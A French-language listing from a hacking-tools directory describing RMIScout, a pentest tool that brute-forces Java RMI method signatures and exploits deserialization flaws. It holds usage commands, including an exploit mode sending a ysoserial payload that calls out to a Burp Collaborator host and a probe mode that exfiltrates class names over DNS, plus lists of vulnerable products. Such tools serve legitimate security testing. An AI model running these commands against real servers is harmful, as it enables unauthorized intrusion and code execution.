Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
rmiscout — RMIScout utilise des stratégies de liste de mots et de force brute pour énumérer les fonctions Java RMI et exploiter les vulnérabilités de désérialisation des paramètres RMI. | Kitploit
Outils/GitHubGitHub/bishopfox/rmiscout
Scanners de VulnérabilitésExploitationCollecte d'InformationsFuzzingTests d'Intrusion
GitHubbishopfox/rmiscout

rmiscout

RMIScout utilise des stratégies de liste de mots et de force brute pour énumérer les fonctions Java RMI et exploiter les vulnérabilités de désérialisation des paramètres RMI.

Voir le dépôt
4486259il y a 5 ansVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

License Python version

Description

RMIScout permet des attaques par liste de mots et par force brute contre des interfaces Java RMI exposées pour deviner en toute sécurité les signatures de méthodes sans invocation. Il prend en charge plusieurs protocoles Java RMI, l'invocation de méthodes et l'exploitation.

Aperçu des fonctionnalités

  • Prend en charge plusieurs types de serveurs Java RMI :
    • RMI-JRMP (aussi appelé RMI simple ; généralement port 1099) : Service de registre d'objets distants (rmiregistry)
    • Stubs d'activation RMI via rmid
    • RMI-IIOP : modèle de programmation Java CORBA (orbd ; généralement port 1050)
      • IIOP nécessite JRE 1.8. En raison de la dépréciation dans les runtimes ultérieurs.
    • RMI-SSL
  • Plusieurs modes de fonctionnement
    • mode wordlist : Teste les méthodes distantes à l'aide d'une liste de mots de signatures (voir le fichier inclus lists/prototypes.txt)
    • mode bruteforce : À partir d'une liste de mots de noms de méthodes, génère des signatures avec différents types de paramètres, nombre de paramètres et types de retour.
    • mode exploit : Utilise ysoserial pour exploiter les méthodes distantes avec des paramètres non primitifs.
      • Nécessite que rmiscout soit exécuté avec JRE 1.8 pour que ysoserial fonctionne correctement.
    • mode probe : Utilise GadgetProbe pour identifier les classes dans le classpath distant.
    • mode invoke : Invoque directement les méthodes distantes en spécifiant une signature de méthode et des valeurs de paramètres depuis la ligne de commande (primitives, tableaux et chaînes uniquement).
    • mode list : Liste les registres disponibles sur le serveur distant.
  • Bascule automatiquement entre RMI, RMI-SSL, stubs d'activation.
  • Effectue automatiquement des techniques de contournement localhost (par exemple, registres liés à @127.0.0.1:XXXX, mais toujours exposés de manière externe via XXXX)

Comment ça fonctionne

Pour identifier mais ne pas exécuter les fonctions RMI, RMIScout utilise des fonctions réseau RMI de bas niveau et la génération dynamique de classes pour envoyer des invocations RMI avec des types délibérément incompatibles afin de déclencher des exceptions distantes. Tous les paramètres sont remplacés par une classe sérialisable générée dynamiquement avec un nom de 255 caractères supposé ne pas exister dans le classpath distant. Par exemple :

Remote Interface:

void login(String user, String password)

RMIScout will invoke:

login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())

Si la classe est présente, cela entraînera une java.rmi.UnmarshalException distante causée par la ClassNotFoundException ou une erreur de désérialisation d'argument sans invoquer la méthode sous-jacente.

Pour des articles techniques plus détaillés :

  • (Article original) RMIScout: Safely and Quickly Brute-Force Java RMI Interfaces for Code Execution.
  • (Mise à jour RMIScout) Lessons Learned on Brute Forcing RMI-IIOP with RMIScout

Modes de fonctionnement

Mode wordlist

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Fournissez une liste de mots de prototypes de méthodes à vérifier sur le serveur distant. RMIScout affichera toutes les correspondances identifiées.

Pour RMI-IIOP/CORBA : Sauf si les méthodes sont surchargées, le brute force et l'invocation ne nécessitent que la correspondance des noms (toutes les autres informations sont ignorées).

Mode bruteforce

./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

Fournissez une liste de mots de noms de méthodes candidates, puis fournissez une liste séparée par des virgules des types de retour candidats, une plage de nombres de paramètres et des types de paramètres candidats. Le mode bruteforce générera les permutations et recherchera les signatures correspondantes.

Mode exploit

./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

Sur des serveurs mal configurés, toute signature RMI connue utilisant des types non primitifs (par exemple java.util.List), peut être exploitée en remplaçant l'objet par une charge utile sérialisée. C'est une mauvaise configuration assez courante (par exemple, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server et Gemfire, Apache Karaf + Cassandra) comme souligné dans la présentation d'An Trinh à Blackhat EU 2019.

RMIScout s'intègre avec ysoserial pour effectuer des attaques par désérialisation contre des services configurant incorrectement des filtres de sérialisation au niveau du processus (JEP 290).

Exemples de signatures exploitables :

void exampleMethod(java.util.Map a) // Tous les types non primitifs
void exampleMethod(float[] a) // Tout type de tableau, même les primitives
void exampleMethod(String a) // Fonctionne sur les anciens JDK, voir ci-dessous...

Remarque : Les signatures contenant des types java.lang.String ne sont exploitables que dans les versions JRE 8/11/13/14 antérieures au début 2020 en RMI-JRMP, mais restent exploitables actuellement en RMI-IIOP.

Mode invoke

./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

RMIScout vous permet d'invoquer n'importe quelle signature avec des primitives, des tableaux de primitives ou des chaînes. Les types plus avancés nécessiteront l'écriture d'un client personnalisé.

Mode probe

./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

RMIScout s'intègre avec GadgetProbe pour identifier les classes dans le classpath distant. Les noms de classes sont exfiltrés via DNS.

Construction et exécution

Utilisez le script inclus rmiscout.sh pour construire automatiquement le projet et comme wrapper pratique autour de la syntaxe java -jar :

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Télécharger l’outil